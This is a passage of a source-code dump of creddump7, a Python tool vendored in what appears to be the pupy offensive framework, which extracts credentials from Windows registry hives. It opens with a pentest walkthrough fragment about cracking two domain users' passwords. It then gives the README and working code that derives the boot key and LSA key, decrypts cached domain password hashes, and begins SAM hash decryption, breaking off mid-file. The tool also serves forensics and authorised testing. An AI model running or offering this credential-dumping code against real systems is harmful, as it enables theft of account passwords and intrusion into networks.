We now have the passwords for two domain users. Note: these passwords are really simple and I knew they were in the wordlist I used. Normally if you want to actually bruteforce the passwords, I wouldn't recommend John. Pull the hashes and use a GPU powered cracking box with oclHashcat.


####Below is the original README file


OVERVIEW

creddump is a python tool to extract various credentials and secrets from
Windows registry hives. It currently extracts:
* LM and NT hashes (SYSKEY protected)
* Cached domain passwords
* LSA secrets

It essentially performs all the functions that bkhive/samdump2,
cachedump, and lsadump2 do, but in a platform-independent way.

It is also the first tool that does all of these things in an offline
way (actually, Cain & Abel does, but is not open source and is only
available on Windows).

REQUIREMENTS

alldump has only been tested on python 2.5. It should work on 2.4 as
well, but will likely need modification before it will work on 2.3 or
below.

python-crypto is required for its MD5/DES/RC4 support. To obtain it,
see: http://www.amk.ca/python/code/crypto

For lsadump: system and SECURITY hives
For cachedump: system and SECURITY hives
For pwdump: system and SAM hives

USAGE

Dump cached domain hashes:
  usage: ./cachedump.py <system hive> <security hive>

Dump LSA secrets:
  usage: ./lsadump.py <system hive> <security hive>

Dump local password hashes:
  usage: ./pwdump.py <system hive> <SAM hive>

FEATURES

* Platform independent operation. The only inputs are the hive files
  from the system--we don't rely on any Windows functionality at all.
* Open-source and (hopefully!) readble implementations of Windows
  obfuscation algorithms used to protect LSA secrets, cached domain
  passwords, and 
* A reasonably forgiving registry file parser in pure Python. Look
  through framework/types.py and framework/win32/rawreg.py to see how it
  works.
* The first complete open-source implementation of advapi32's
  SystemFunction005. The version in the Wine source code does not
  appear to allow for keys longer than 7 bytes, while the Windows
  version (and this version) does. See decrypt_secret() in
  framework/win32/lsasecrets.py

AUTHOR

creddump is written by Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu).
For more information on Syskey, LSA secrets, cached domain credentials,
and lots of information on volatile memory forensics and reverse
engineering, check out:

http://moyix.blogspot.com/

CREDITS
* AAron Walters. Much of the data type parsing code is taken from
  Volatility, an excellent memory analysis framework written in Python.
  He's also a really nice guy, and has helped me out a lot in my
  research.
  
  https://www.volatilesystems.com/default/volatility

* Massimiliano Montoro (mao), for reversing the mechanism Windows uses
  to derive the LSA key so that it can be computed directly from the
  hive files, as decribed in this post:
  
  http://oxid.netsons.org/phpBB2/viewtopic.php?t=149
  http://www.oxid.it/
  
* Jeremy Allison, for the details of the obfuscation applied to password
  hashes in the SAM, as implemented in the original pwdump.
  
  http://us4.samba.org/samba/ftp/pwdump/

* Nicola Cuomo, for his excellent description of the syskey mechanism
  and how it is used to encrypt the SAM in Windows 2000 and above.

  http://www.studenti.unina.it/~ncuomo/syskey/

* Eyas[at]xfocus.org, for x_dialupass2.cpp, which demonstrates how to
  read LSA secrets directly from the registry, given the LSA key.

  http://www.xfocus.net/articles/200411/749.html

  [Note: the above is in Chinese, but quite comprehensible if you use
   Google Translate and can read C ;)]

* Nicholas Ruff, for his perl implementation of des_set_odd_parity,
  which he apparently took from SSLEAY:

  http://seclists.org/pen-test/2005/Jan/0180.html

* Arnaud Pilon, for the details of how to retrieve cached domain, as
  implemented in cachedump.

  http://www.securiteam.com/tools/5JP0I2KFPA.html

* S�bastien Ke, for his cute hexdump recipe:

  http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812

LICENSE

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.


================================================
FILE: pupy/external/creddump7/cachedump.py
================================================
#!/usr/bin/env python

# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump.  If not, see <http://www.gnu.org/licenses/>.

"""
@author:       Brendan Dolan-Gavitt
@license:      GNU General Public License 2.0 or later
@contact:      bdolangavitt@wesleyan.edu
"""
from __future__ import print_function


import sys
from framework.win32.domcachedump import dump_file_hashes
def showUsage():
    print("usage: %s <system hive> <security hive> <Vista/7>" % sys.argv[0])
    print("\nExample (Windows Vista/7):")
    print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0])
    print("\nExample (Windows XP):")
    print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0])

if len(sys.argv) < 4:
    showUsage()
    sys.exit(1)

if sys.argv[3] not in ["true", "false"]:
    showUsage()
    sys.exit(1)

vista = True if sys.argv[3] == "true" else False

dump_file_hashes(sys.argv[1], sys.argv[2], sys.argv[3])


================================================
FILE: pupy/external/creddump7/framework/__init__.py
================================================


================================================
FILE: pupy/external/creddump7/framework/addrspace.py
================================================
# Volatility
# Copyright (C) 2007 Volatile Systems
#
# Original Source:
# Copyright (C) 2004,2005,2006 4tphi Research
# Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters)
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or (at
# your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#

"""
@author:       AAron Walters
@license:      GNU General Public License 2.0 or later
@contact:      awalters@volatilesystems.com
@organization: Volatile Systems
"""

""" Alias for all address spaces """

import os
import struct

from io import open


class FileAddressSpace(object):
    def __init__(self, fname, mode='rb', fast=False):
        self.fname = fname
        self.name = fname
        self.fhandle = open(fname, mode)
        self.fsize = os.path.getsize(fname)

        if fast == True:
            self.fast_fhandle = open(fname, mode)

    def fread(self,len):
        return self.fast_fhandle.read(len)

    def read(self, addr, len):
        self.fhandle.seek(addr)
        return self.fhandle.read(len)

    def read_long(self, addr):
        string = self.read(addr, 4)
        (longval, ) =  struct.unpack('L', string)
        return longval

    def get_address_range(self):
        return [0,self.fsize-1]

    def get_available_addresses(self):
        return [self.get_address_range()]

    def is_valid_address(self, addr):
        return addr < self.fsize - 1

    def close(self):
        self.fhandle.close()


# Code below written by Brendan Dolan-Gavitt

BLOCK_SIZE = 0x1000

class HiveFileAddressSpace:
    def __init__(self, fname):
        self.fname = fname
        self.base = FileAddressSpace(fname)

    def vtop(self, vaddr):
        return vaddr + BLOCK_SIZE + 4

    def read(self, vaddr, length, zero=False):
        first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE
        full_blocks = ((length + (vaddr % BLOCK_SIZE)) // BLOCK_SIZE) - 1
        left_over = (length + vaddr) % BLOCK_SIZE

        paddr = self.vtop(vaddr)
        if paddr == None and zero:
            if length < first_block:
                return "\0" * length
            else:
                stuff_read = "\0" * first_block
        elif paddr == None:
            return None
        else:
            if length < first_block:
                stuff_read = self.base.read(paddr, length)
                if not stuff_read and zero:
                    return "\0" * length
                else:
                    return stuff_read

            stuff_read = self.base.read(paddr, first_block)
            if not stuff_read and zero:
                stuff_read = "\0" * first_block

        new_vaddr = vaddr + first_block
        for i in range(0,full_blocks):
            paddr = self.vtop(new_vaddr)
            if paddr == None and zero:
                stuff_read = stuff_read + "\0" * BLOCK_SIZE
            elif paddr == None:
                return None
            else:
                new_stuff = self.base.read(paddr, BLOCK_SIZE)
                if not new_stuff and zero:
                    new_stuff = "\0" * BLOCK_SIZE
                elif not new_stuff:
                    return None
                else:
                    stuff_read = stuff_read + new_stuff
            new_vaddr = new_vaddr + BLOCK_SIZE

        if left_over > 0:
            paddr = self.vtop(new_vaddr)
            if paddr == None and zero:
                stuff_read = stuff_read + "\0" * left_over
            elif paddr == None:
                return None
            else:
                stuff_read = stuff_read + self.base.read(paddr, left_over)
        return stuff_read

    def read_long_phys(self, addr):
        string = self.base.read(addr, 4)
        (longval, ) =  struct.unpack('L', string)
        return longval

    def is_valid_address(self, vaddr):
        paddr = self.vtop(vaddr)
        if not paddr: return False
        return self.base.is_valid_address(paddr)


================================================
FILE: pupy/external/creddump7/framework/newobj.py
================================================
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump.  If not, see <http://www.gnu.org/licenses/>.

"""
@author:       Brendan Dolan-Gavitt
@license:      GNU General Public License 2.0 or later
@contact:      bdolangavitt@wesleyan.edu
"""

from .object import *
from .types import regtypes as types
from operator import itemgetter
from struct import unpack

def get_ptr_type(structure, member):
    """Return the type a pointer points to.
       
       Arguments:
         structure : the name of the structure from vtypes
         member : a list of members

       Example:
         get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY']
    """
    if len(member) > 1:
        _, tp = get_obj_offset(types, [structure, member[0]])
        if tp == 'array':
            return types[structure][1][member[0]][1][2][1]
        else:
            return get_ptr_type(tp, member[1:])
    else:
        return types[structure][1][member[0]][1][1]

class Obj(object):
    """Base class for all objects.
       
       May return a subclass for certain data types to allow
       for special handling.
    """

    def __new__(typ, name, address, space):
        if name in globals():
            # This is a bit of "magic"
            # Could be replaced with a dict mapping type names to types
            return globals()[name](name,address,space)
        elif name in builtin_types:
            return Primitive(name, address, space)
        else:
            obj = object.__new__(typ)
            return obj
    
    def __init__(self, name, address, space):
        self.name = name
        self.address = address
        self.space = space

        # Subclasses can add fields to this list if they want them
        # to show up in values() or members(), even if they do not
        # appear in the vtype definition
        self.extra_members = []
    
    def __getattribute__(self, attr):
        try:
            return object.__getattribute__(self, attr)
        except AttributeError:
            pass

        if self.name in builtin_types:
            raise AttributeError("Primitive types have no dynamic attributes")

        try:
            off, tp = get_obj_offset(types, [self.name, attr])
        except:
            raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr))
        
        if tp == 'array':
            a_len = types[self.name][1][attr][1][1]
            l = []
            for i in range(a_len):
                a_off, a_tp = get_obj_offset(types, [self.name, attr, i])
                if a_tp == 'pointer':
                    ptp = get_ptr_type(self.name, [attr, i])
                    l.append(Pointer(a_tp, self.address+a_off, self.space, ptp))
                else:
                    l.append(Obj(a_tp, self.address+a_off, self.space))
            return l
        elif tp == 'pointer':
            # Can't just return a Obj here, since pointers need to also
            # know what type they point to.
            ptp = get_ptr_type(self.name, [attr])
            return Pointer(tp, self.address+off, self.space, ptp)
        else:
            return Obj(tp, self.address+off, self.space)
    
    def __div__(self, other):
        if isinstance(other,tuple) or isinstance(other,list):
            return Pointer(other[0], self.address, self.space, other[1])
        elif isinstance(other,str):
            return Obj(other, self.address, self.space)
        else:
            raise ValueError("Must provide a type name as string for casting")
    
    def members(self):
        """Return a list of this object's members, sorted by offset."""

        # Could also just return the list
        membs = [ (k, v[0]) for k,v in types[self.name][1].items()]
        membs.sort(key=itemgetter(1))
        return map(itemgetter(0),membs) + self.extra_members

    def values(self):
        """Return a dictionary of this object's members and their values"""
        
        valdict = {}
        for k in self.members():
            valdict[k] = getattr(self, k)
        return valdict

    def bytes(self, length=-1):
        """Get bytes starting at the address of this object.
        
           Arguments:
             length : the number of bytes to read. Default: size of
                this object.
        """

        if length == -1:
            length = self.size()
        return self.space.read(self.address, length)

    def size(self):
        """Get the size of this object."""

        if self.name in builtin_types:
            return builtin_types[self.name][0]
        else:
            return types[self.name][0]
    
    def __repr__(self):
        return "<%s @%08x>" % (self.name, self.address)

    def __eq__(self, other):
        if not isinstance(other, Obj):
            raise TypeError("Types are incomparable")
        return self.address == other.address and self.name == other.name

    def __ne__(self, other):
        return not self.__eq__(other)

    def __hash__(self):
        return hash(self.address) ^ hash(self.name)

    def is_valid(self):
        return self.space.is_valid_address(self.address)

    def get_offset(self, member):
        return get_obj_offset(types, [self.name] + member)

class Primitive(Obj):
    """Class to represent a primitive data type.
       
       Attributes:
         value : the python primitive value of this type
    """

    def __new__(typ, *args, **kwargs):
        obj = object.__new__(typ)
        return obj

    def __init__(self, name, address, space):
        super(Primitive,self).__init__(name, address, space)
        length, fmt = builtin_types[name]
        data = space.read(address,length)
        if not data: self.value = None
        else: self.value = unpack(fmt,data)[0]
    
    def __repr__(self):
        return repr(self.value)

    def members(self):
        return []

class Pointer(Obj):
    """Class to represent pointers.
    
       value : the object pointed to

       If an attribute is not found in this instance,
       the attribute will be looked up in the referenced
       object."""

    def __new__(typ, *args, **kwargs):
        obj = object.__new__(typ)
        return obj

    def __init__(self, name, address, space, ptr_type):
        super(Pointer,self).__init__(name, address, space)
        ptr_address = read_value(space, name, address)
        if ptr_type[0] == 'pointer':
            self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1])
        else:
            self.value = Obj(ptr_type[0], ptr_address, self.space)
    
    def __getattribute__(self, attr):
        # It's still nice to be able to access things through pointers
        # without having to explicitly dereference them, so if we don't
        # find an attribute via our superclass, just dereference the pointer
        # and return the attribute in the pointed-to type.
        try:
            return super(Pointer,self).__getattribute__(attr)
        except AttributeError:
            return getattr(self.value, attr)
    
    def __repr__(self):
        return "<pointer to [%s @%08x]>" % (self.value.name, self.value.address)

    def members(self):
        return self.value.members()

class _UNICODE_STRING(Obj):
    """Class representing a _UNICODE_STRING

    Adds the following behavior:
      * The Buffer attribute is presented as a Python string rather
        than a pointer to an unsigned short.
      * The __str__ method returns the value of the Buffer.
    """

    def __new__(typ, *args, **kwargs):
        obj = object.__new__(typ)
        return obj

    def __str__(self):
        return self.Buffer

    # Custom Attributes
    def getBuffer(self):
        return read_unicode_string(self.space, types, [], self.address)
    Buffer = property(fget=getBuffer)

class _CM_KEY_NODE(Obj):
    def __new__(typ, *args, **kwargs):
        obj = object.__new__(typ)
        return obj

    def getName(self):
        return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'],
            self.address, self.NameLength.value)
    Name = property(fget=getName)

class _CM_KEY_VALUE(Obj):
    def __new__(typ, *args, **kwargs):
        obj = object.__new__(typ)
        return obj

    def getName(self):
        return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'],
            self.address, self.NameLength.value)
    Name = property(fget=getName)

class _CHILD_LIST(Obj):
    def __new__(typ, *args, **kwargs):
        obj = object.__new__(typ)
        return obj

    def getList(self):
        lst = []
        list_address = read_obj(self.space, types,
            ['_CHILD_LIST', 'List'], self.address)
        for i in range(self.Count.value):
            lst.append(Pointer("pointer", list_address+(i*4), self.space,
                ["_CM_KEY_VALUE"]))
        return lst
    List = property(fget=getList)

class _CM_KEY_INDEX(Obj):
    def __new__(typ, *args, **kwargs):
        obj = object.__new__(typ)
        return obj

    def getList(self):
        lst = []
        for i in range(self.Count.value):
            # we are ignoring the hash value here
            off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2])
            lst.append(Pointer("pointer", self.address+off, self.space,
                ["_CM_KEY_NODE"]))
        return lst
    List = property(fget=getList)


================================================
FILE: pupy/external/creddump7/framework/object.py
================================================
# Volatools Basic
# Copyright (C) 2007 Komoku, Inc.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or (at
# your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details. 
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 
#

"""
@author:       AAron Walters and Nick Petroni
@license:      GNU General Public License 2.0 or later
@contact:      awalters@komoku.com, npetroni@komoku.com
@organization: Komoku, Inc.
"""

import struct

builtin_types = { \
    'int' : (4, 'i'), \
    'long': (4, 'i'), \
    'unsigned long' : (4, 'I'), \
    'unsigned int' : (4, 'I'), \
    'address' : (4, 'I'), \
    'char' : (1, 'c'), \
    'unsigned char' : (1, 'B'), \
    'unsigned short' : (2, 'H'), \
    'short' : (2, 'h'), \
    'long long' : (8, 'q'), \
    'unsigned long long' : (8, 'Q'), \
    'pointer' : (4, 'I'),\
    }


def obj_size(types, objname):
    if not types.has_key(objname):
        raise Exception('Invalid type %s not in types' % (objname))

    return types[objname][0]

def builtin_size(builtin):
    if not builtin_types.has_key(builtin):
        raise Exception('Invalid built-in type %s' % (builtin))

    return builtin_types[builtin][0]

def read_value(addr_space, value_type, vaddr):
    """
    Read the low-level value for a built-in type. 
    """

    if not builtin_types.has_key(value_type):
        raise Exception('Invalid built-in type %s' % (value_type))

    type_unpack_char = builtin_types[value_type][1]
    type_size        = builtin_types[value_type][0]

    buf = addr_space.read(vaddr, type_size)
    if buf is None:
        return None
    (val, ) = struct.unpack(type_unpack_char, buf)

    return val

def read_unicode_string(addr_space, types, member_list, vaddr):
    offset = 0
    if len(member_list) > 1:
        (offset, current_type) = get_obj_offset(types, member_list)


    buf    = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
    length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)

    if length == 0x0:
        return ""

    if buf is None or length is None:
        return None

    readBuf = read_string(addr_space, types, ['char'], buf, length)

    if readBuf is None:
        return None
    
    try:
        readBuf = readBuf.decode('UTF-16').encode('ascii')
    except:
        return None
    
    return readBuf

def read_string(addr_space, types, member_list, vaddr, max_length=256):
    offset = 0
    if len(member_list) > 1:
        (offset, current_type) = get_obj_offset(types, member_list)

    val = addr_space.read(vaddr + offset, max_length)

    return val    
    

def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
    string = read_string(addr_space, types, member_list, vaddr, max_length)

    if string is None:
        return None

    if (string.find('\0') == -1):
        return string
    (string, none) = string.split('\0', 1)
    return string
        

def get_obj_offset(types, member_list):
    """
    Returns the (offset, type) pair for a given list
    """
    member_list.reverse()

    current_type = member_list.pop()

    offset = 0

    while (len(member_list) > 0):
        if current_type == 'array':
            current_type = member_dict[current_member][1][2][0]
            if current_type in builtin_types:
                current_type_size = builtin_size(current_type)
            else:
                current_type_size = obj_size(types, current_type)
            index = member_list.pop()
            offset += index * current_type_size
            continue
            
        elif not types.has_key(current_type):
            raise Exception('Invalid type ' + current_type)
        
        member_dict = types[current_type][1]
        
        current_member = member_list.pop()
        if not member_dict.has_key(current_member):
            raise Exception('Invalid member %s in type %s' % (current_member, current_type))

        offset += member_dict[current_member][0]

        current_type = member_dict[current_member][1][0]

    return (offset, current_type)


def read_obj(addr_space, types, member_list, vaddr):
    """
    Read the low-level value for some complex type's member.
    The type must have members.
    """
    if len(member_list) < 2:
        raise Exception('Invalid type/member ' + str(member_list))
    

    
    (offset, current_type) = get_obj_offset(types, member_list)
    return read_value(addr_space, current_type, vaddr + offset)


================================================
FILE: pupy/external/creddump7/framework/types.py
================================================
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump.  If not, see <http://www.gnu.org/licenses/>.

"""
@author:       Brendan Dolan-Gavitt
@license:      GNU General Public License 2.0 or later
@contact:      bdolangavitt@wesleyan.edu
"""

regtypes = {
  '_CM_KEY_VALUE' : [ 0x18, {
    'Signature' : [ 0x0, ['unsigned short']],
    'NameLength' : [ 0x2, ['unsigned short']],
    'DataLength' : [ 0x4, ['unsigned long']],
    'Data' : [ 0x8, ['unsigned long']],
    'Type' : [ 0xc, ['unsigned long']],
    'Flags' : [ 0x10, ['unsigned short']],
    'Spare' : [ 0x12, ['unsigned short']],
    'Name' : [ 0x14, ['array', 1, ['unsigned short']]],
} ],
  '_CM_KEY_NODE' : [ 0x50, {
    'Signature' : [ 0x0, ['unsigned short']],
    'Flags' : [ 0x2, ['unsigned short']],
    'LastWriteTime' : [ 0x4, ['_LARGE_INTEGER']],
    'Spare' : [ 0xc, ['unsigned long']],
    'Parent' : [ 0x10, ['unsigned long']],
    'SubKeyCounts' : [ 0x14, ['array', 2, ['unsigned long']]],
    'SubKeyLists' : [ 0x1c, ['array', 2, ['unsigned long']]],
    'ValueList' : [ 0x24, ['_CHILD_LIST']],
    'ChildHiveReference' : [ 0x1c, ['_CM_KEY_REFERENCE']],
    'Security' : [ 0x2c, ['unsigned long']],
    'Class' : [ 0x30, ['unsigned long']],
    'MaxNameLen' : [ 0x34, ['unsigned long']],
    'MaxClassLen' : [ 0x38, ['unsigned long']],
    'MaxValueNameLen' : [ 0x3c, ['unsigned long']],
    'MaxValueDataLen' : [ 0x40, ['unsigned long']],
    'WorkVar' : [ 0x44, ['unsigned long']],
    'NameLength' : [ 0x48, ['unsigned short']],
    'ClassLength' : [ 0x4a, ['unsigned short']],
    'Name' : [ 0x4c, ['array', 1, ['unsigned short']]],
} ],
  '_CM_KEY_INDEX' : [ 0x8, {
    'Signature' : [ 0x0, ['unsigned short']],
    'Count' : [ 0x2, ['unsigned short']],
    'List' : [ 0x4, ['array', 1, ['unsigned long']]],
} ],
  '_CHILD_LIST' : [ 0x8, {
    'Count' : [ 0x0, ['unsigned long']],
    'List' : [ 0x4, ['unsigned long']],
} ],
}


================================================
FILE: pupy/external/creddump7/framework/win32/__init__.py
================================================


================================================
FILE: pupy/external/creddump7/framework/win32/domcachedump.py
================================================
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump.  If not, see <http://www.gnu.org/licenses/>.

"""
@author:       Brendan Dolan-Gavitt
@license:      GNU General Public License 2.0 or later
@contact:      bdolangavitt@wesleyan.edu
"""

from __future__ import print_function

from .rawreg import *

from ..addrspace import HiveFileAddressSpace
from .hashdump import get_bootkey
from .lsasecrets import get_secret_by_name,get_lsa_key

from Crypto.Hash import HMAC
from Crypto.Cipher import ARC4, AES

from struct import unpack
from codecs import encode


def get_nlkm(secaddr, lsakey, vista):
    return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista)


def decrypt_hash(edata, nlkm, ch):
    hmac_md5 = HMAC.new(nlkm,ch)
    rc4key = hmac_md5.digest()

    rc4 = ARC4.new(rc4key)
    data = rc4.encrypt(edata)
    return data


def decrypt_hash_vista(edata, nlkm, ch):
    """
    Based on code from http://lab.mediaservice.net/code/cachedump.rb
    """
    aes = AES.new(nlkm[16:32], AES.MODE_CBC, ch)

    out = ""
    for i in range(0, len(edata), 16):
        buf = edata[i : i+16]
        if len(buf) < 16:
            buf += (16 - len(buf)) * "\00"

        out += aes.decrypt(buf)
    return out


def parse_cache_entry(cache_data):
    (uname_len, domain_len) = unpack("<HH", cache_data[:4])
    (domain_name_len,) = unpack("<H", cache_data[60:62])
    ch = cache_data[64:80]
    enc_data = cache_data[96:]
    return (uname_len, domain_len, domain_name_len, enc_data, ch)


def parse_decrypted_cache(dec_data, uname_len,
        domain_len, domain_name_len):
    uname_off = 72
    pad = 2 * ( ( uname_len / 2 ) % 2 )
    domain_off = uname_off + uname_len + pad
    pad = 2 * ( ( domain_len / 2 ) % 2 )
    domain_name_off = domain_off + domain_len + pad

    hash = dec_data[:0x10]
    username = dec_data[uname_off:uname_off+uname_len]
    username = username.decode('utf-16-le', errors='ignore')
    domain = dec_data[domain_off:domain_off+domain_len]
    domain = domain.decode('utf-16-le', errors='ignore')
    domain_name = dec_data[domain_name_off:domain_name_off+domain_name_len]
    domain_name = domain_name.decode('utf-16-le', errors='ignore')

    return (username, domain, domain_name, hash)


def dump_hashes(sysaddr, secaddr, vista):
    bootkey = get_bootkey(sysaddr)
    if not bootkey:
        return []

    lsakey = get_lsa_key(secaddr, bootkey, vista)
    if not lsakey:
        return []

    nlkm = get_nlkm(secaddr, lsakey, vista)
    if not nlkm:
        return []

    root = get_root(secaddr)
    if not root:
        return []

    cache = open_key(root, ["Cache"])
    if not cache:
        return []

    hashes = []
    for v in values(cache):
        if v.Name == "NL$Control": continue

        data = v.space.read(v.Data.value, v.DataLength.value)

        (uname_len, domain_len, domain_name_len,
            enc_data, ch) = parse_cache_entry(data)

        # Skip if nothing in this cache entry
        if uname_len == 0:
            continue

        if vista:
            dec_data = decrypt_hash_vista(enc_data, nlkm, ch)
        else:
            dec_data = decrypt_hash(enc_data, nlkm, ch)


        (username, domain, domain_name,
            hash) = parse_decrypted_cache(dec_data, uname_len,
                    domain_len, domain_name_len)

        hashes.append((username, domain, domain_name, hash))

    return hashes


def dump_file_hashes(syshive_fname, sechive_fname, vista):
    sysaddr = HiveFileAddressSpace(syshive_fname)
    secaddr = HiveFileAddressSpace(sechive_fname)

    for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr, vista):
        print("%s:%s:%s:%s" % (u.lower(), encode(hash, 'hex'),
                               d.lower(), dn.lower()))


================================================
FILE: pupy/external/creddump7/framework/win32/hashdump.py
================================================
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump.  If not, see <http://www.gnu.org/licenses/>.

"""
@author:       Brendan Dolan-Gavitt
@license:      GNU General Public License 2.0 or later
@contact:      bdolangavitt@wesleyan.edu
"""

from __future__ import print_function

from .rawreg import *
from ..addrspace import HiveFileAddressSpace
from Crypto.Hash import MD5
from Crypto.Cipher import ARC4,DES,AES
from struct import unpack,pack

import binascii
import codecs

odd_parity = [
  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
]

# Permutation matrix for boot key
p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
      0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ]

# Constants for SAM decrypt algorithm
aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
anum = "0123456789012345678901234567890123456789\0"
antpassword = "NTPASSWORD\0"
almpassword = "LMPASSWORD\0"

empty_lm = codecs.decode('aad3b435b51404eeaad3b435b51404ee', 'hex')
empty_nt = codecs.decode('31d6cfe0d16ae931b73c59d7e0c089c0', 'hex')

def str_to_key(s):
    key = []
    key.append( ord(s[0])>>1 )
    key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) )
    key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) )
    key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) )
    key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) )
    key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) )
    key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) )
    key.append( ord(s[6])&0x7F )
    for i in range(8):
        key[i] = (key[i]<<1)
        key[i] = odd_parity[key[i]]
    return "".join(chr(k) for k in key)

def sid_to_key(sid):
    s1 = ""
    s1 += chr(sid & 0xFF)
    s1 += chr((sid>>8) & 0xFF)
    s1 += chr((sid>>16) & 0xFF)
    s1 += chr((sid>>24) & 0xFF)
    s1 += s1[0];
    s1 += s1[1];
    s1 += s1[2];
    s2 = s1[3] + s1[0] + s1[1] + s1[2]
    s2 += s2[0] + s2[1] + s2[2]

    return str_to_key(s1),str_to_key(s2)
    
def find_control_set(sysaddr):
